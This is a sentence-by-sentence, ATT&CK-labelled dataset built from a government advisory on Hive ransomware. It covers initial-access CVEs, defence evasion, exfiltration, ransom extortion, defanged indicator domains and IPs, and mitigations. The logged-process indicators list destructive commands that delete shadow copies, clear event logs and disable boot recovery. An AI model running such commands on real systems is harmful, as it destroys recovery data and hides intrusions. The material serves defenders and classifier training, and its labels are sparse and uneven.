{"sentence": "This vulnerability enables a malicious cyber actor to log in without a prompt for the user’s second authentication factor (FortiToken) when the actor changes the case of the username.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Hive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [T1566.001] and by exploiting the following vulnerabilities against Microsoft Exchange servers [T1190]: CVE-2021-31207 - Microsoft Exchange Server Security Feature Bypass Vulnerability CVE-2021-34473 - Microsoft Exchange Server Remote Code Execution Vulnerability CVE-2021-34523 - Microsoft Exchange Server Privilege Escalation Vulnerability After gaining access, Hive ransomware attempts to evade detention by executing processes to: Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption [T1562].", "labels": ["T1057", "T1068", "T1190", "T1518.001", "T1566.001"], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or via PowerShell", "labels": ["T1059.003"], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "[T1059] [T1490].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Delete Windows event logs, specifically the System, Security and Application logs", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "[T1070].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Prior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [T1112].", "labels": ["T1562.001"], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Hive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega.nz", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "[T1537].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "In addition to its capabilities against the Microsoft Windows operating system, Hive ransomware has known variants for Linux, VMware ESXi, and FreeBSD.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "During the encryption process, a file named *.key (previously *.key.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "*) is created in the root directory (C:\\ or /root/).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Required for decryption, this key file only exists on the machine where it was created and cannot be reproduced.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The ransom note, HOW_TO_DECRYPT.txt is dropped into each affected directory and states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered [T1486].", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The ransom note contains a “sales department” .onion", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "However, some victims reported receiving phone calls or emails from Hive actors directly to discuss payment.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The ransom note also threatens victims that a public disclosure or leak site accessible on the TOR site, “HiveLeaks”, contains data exfiltrated from victim organizations who do not pay the ransom demand (see figure 1 below).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Additionally, Hive actors have used anonymous file sharing sites to disclose exfiltrated data (see table 1 below).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Figure 1: Sample Hive Ransom Note Table 1: Anonymous File Sharing Sites Used to Disclose Data https://anonfiles[.]com https://mega[.]nz https://send.exploit[.]in https://ufile[.]io https://www.sendspace[.]com https://privatlab[.]net https://privatlab[.]com Once the victim organization contacts Hive actors on the live chat panel, Hive actors communicate the ransom amount and the payment deadline.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Hive actors demand payment in Bitcoin.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Hive actors have been known to reinfect—with either Hive ransomware or another ransomware variant—the networks of victim organizations who have restored their network without making a ransom payment.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Indicators of Compromise Threat actors have leveraged the following IOCs during Hive ransomware compromises.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Note: Some of these indicators are legitimate applications that Hive threat actors used to aid in further malicious exploitation.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "FBI, CISA, and HHS recommend removing any application not deemed necessary for day-to-day operations.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "See tables 2–3 below for IOCs obtained from FBI threat response investigations as recently as November 2022.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Table 2: Known IOCs as of November 2022 Known IOCs - Files HOW_TO_DECRYPT.txt typically in directories with encrypted files *.key typically in the root directory, i.e., C:\\ or /root hive.bat shadow.bat asq.r77vh0[.]pw - Server hosted malicious HTA file asq.d6shiiwz[.]pw - Server referenced in malicious regsvr32 execution asq.swhw71un[.]pw - Server hosted malicious HTA file asd.s7610rir[.]pw - Server hosted malicious HTA file Windows_x64_encrypt.dll Windows_x64_encrypt.exe Windows_x32_encrypt.dll Windows_x32_encrypt.exe Linux_encrypt Esxi_encrypt Known IOCs – Events System, Security and Application Windows event logs wiped Microsoft Windows Defender AntiSpyware Protection disabled Microsoft Windows Defender AntiVirus Protection disabled Volume shadow copies deleted Normal boot process prevented Known IOCs – Logged Processes wevtutil.exe cl system wevtutil.exe cl security wevtutil.exe cl application vssadmin.exe delete shadows /all", "labels": ["T1057", "T1562.001"], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "/quiet wmic.exe", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "SHADOWCOPY /nointeractive wmic.exe shadowcopy delete bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no Table 3:", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Potential IOC IP Addresses as of November 2022 Note: Some of these observed IP addresses are more than a year old.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action like blocking.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Potential IOC IP Addresses for Compromise or Exfil: 84.32.188[.]57 84.32.188[.]238 93.115.26[.]251 185.8.105[.]67 181.231.81[.]239 185.8.105[.]112 186.111.136[.]37 192.53.123[.]202 158.69.36[.]149 46.166.161[.]123 108.62.118[.]190 46.166.161[.]93 185.247.71[.]106 46.166.162[.]125 5.61.37[.]207 46.166.162[.]96 185.8.105[.]103 46.166.169[.]34 5.199.162[.]220 93.115.25[.]139 5.199.162[.]229 93.115.27[.]148 89.147.109[.]208 83.97.20[.]81 5.61.37[.]207 5.199.162[.]220 5.199.162[.]229; 46.166.161[.]93 46.166.161[.]123; 46.166.162[.]96 46.166.162[.]125 46.166.169[.]34 83.97.20[.]81 84.32.188[.]238 84.32.188[.]57 89.147.109[.]208 93.115.25[.]139; 93.115.26[.]251 93.115.27[.]148 108.62.118[.]190 158.69.36[.]149/span> 181.231.81[.]239 185.8.105[.]67 185.8.105[.]103 185.8.105[.]112 185.247.71[.]106 186.111.136[.]37 192.53.123[.]202 MITRE ATT&CK TECHNIQUES See table 4 for all referenced threat actor tactics and techniques listed in this advisory.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Table 4: Hive Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use External Remote Services T1133 Hive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Exploit Public-Facing Application T1190 Hive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Phishing T1566.001 Hive actors gain access to victim networks by distributing phishing emails with malicious attachments.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Execution Technique Title ID Use Command and Scripting Interpreter T1059 Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or PowerShell.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Defense Evasion Technique Title ID Use Indicator Removal on Host T1070 Hive actors delete Windows event logs, specifically, the System, Security and Application logs.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Modify Registry T1112 Hive actors set registry values for DisableAntiSpyware and DisableAntiVirus to 1. Impair Defenses T1562 Hive actors seek processes related to backups, antivirus/anti-spyware, and file copying and terminates those processes to facilitate file encryption.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Exfiltration Technique Title ID Use Transfer Data to Cloud Account T1537 Hive actors exfiltrate data from victims, using a possible combination of Rclone and the cloud storage service Mega.nz.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Impact Technique Title Use Data Encrypted for Impact T1486 Hive actors deploy a ransom note HOW_TO_DECRYPT.txt into each affected directory which states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Inhibit System Recovery T1490 Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin via command line or PowerShell.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Mitigations FBI, CISA, and HHS recommend organizations, particularly in the HPH sector, implement the following to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Hive ransomware:", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Verify Hive actors no longer have access to the network.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Install updates for operating systems, software, and firmware as soon as they are released.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Prioritize patching VPN servers, remote access software, virtual machine software, and known exploited vulnerabilities.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Consider leveraging a centralized patch management system to automate and expedite the process.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Require phishing-resistant MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If used, secure and monitor RDP.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "After assessing risks, if you deem RDP operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Be sure to properly configure devices and enable security features.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Disable ports and protocols not used for business purposes, such as RDP Port 3389/TCP. Maintain offline backups of data, and regularly maintain backup and restoration.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure your backup data is not already infected.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": ", Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Install and regularly update anti-virus or anti-malware software on all hosts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Enable PowerShell Logging including module logging, script block logging and transcription.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Install an enhanced monitoring tool such as Sysmon from Microsoft for increased logging.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Review the following additional resources.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The Cybersecurity and Infrastructure Security Agency-Multi-State Information Sharing & Analysis Center Joint Ransomware Guide covers additional best practices and ways to prevent, protect, and respond to a ransomware attack.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "StopRansomware.gov is the U.S. Government’s official one-stop location for resources to tackle ransomware more effectively.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If your organization is impacted by a ransomware incident, FBI, CISA, and HHS recommend the following actions.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Isolate the infected system.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Remove the infected system from all networks, and disable the computer’s wireless, Bluetooth, and any other potential networking capabilities.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure all shared and networked drives are disconnected.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Turn off other computers and devices.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Power-off and segregate (i.e., remove from the network) the infected computer(s).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Power-off and segregate any other computers or devices that share a network with the infected computer(s) that have not been fully encrypted by ransomware.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Secure your backups.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure that your backup data is offline and secure.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If possible, scan your backup data with an antivirus program to check that it is free of malware.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "In addition, FBI, CISA, and HHS urge all organizations to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Preparing for Cyber Incidents Review the security posture of third-party vendors and those interconnected with your organization.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Document and monitor external remote connections.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Identity and Access Management Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute of Standards and Technology (NIST) standards for developing and managing password policies.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Store passwords in hashed format using industry-recognized password managers.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Add password user “salts” to shared login credentials. Avoid reusing passwords.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Implement multiple failed login attempt account lockouts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Disable password “hints.”", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Require administrator credentials to install software.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Implement time-based access for accounts set at the admin level and higher.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Protective Controls and Architecture Segment networks to prevent the spread of ransomware.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Install, regularly update, and enable real time detection for antivirus software on all hosts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Vulnerability and Configuration Management Consider adding an email banner to emails received from outside your organization.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Disable command-line and scripting activities and permissions.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Privilege escalation and lateral movement often depend on software utilities running from the command line.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Ensure devices are properly configured and that security features are enabled.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Restrict Server Message Block (SMB) Protocol within the network to only access necessary servers and remove or disable outdated versions of SMB (i.e., SMB version 1).", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Threat actors use SMB to propagate malware across organizations.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "REFERENCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "INFORMATION REQUESTED The FBI, CISA, and HHS do not encourage paying a ransom to criminal actors.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Paying the ransom also does not guarantee that a victim’s files will be recovered.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Regardless of whether you or your organization decide to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to your local FBI field office, or to CISA at report@cisa.gov or (888) 282-0870.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Doing so provides investigators with the critical information they need to track ransomware attackers, hold them accountable under US law, and prevent future attacks.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "The FBI may seek the following information that you determine you can legally share, including: Recovered executable files Live random access memory (RAM) capture Images of infected systems Malware samples IP addresses identified as malicious or suspicious Email addresses of the attackers A copy of the ransom note Ransom amount Bitcoin wallets used by the attackers Bitcoin wallets used to pay the ransom Post-incident forensic reports DISCLAIMER The information in this report is being provided “as is” for informational purposes only.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis.", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}
{"sentence": "Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS. Revisions Initial Version: November 17, 2022", "labels": [], "doc_title": "StopRansomware Hive Ransomware"}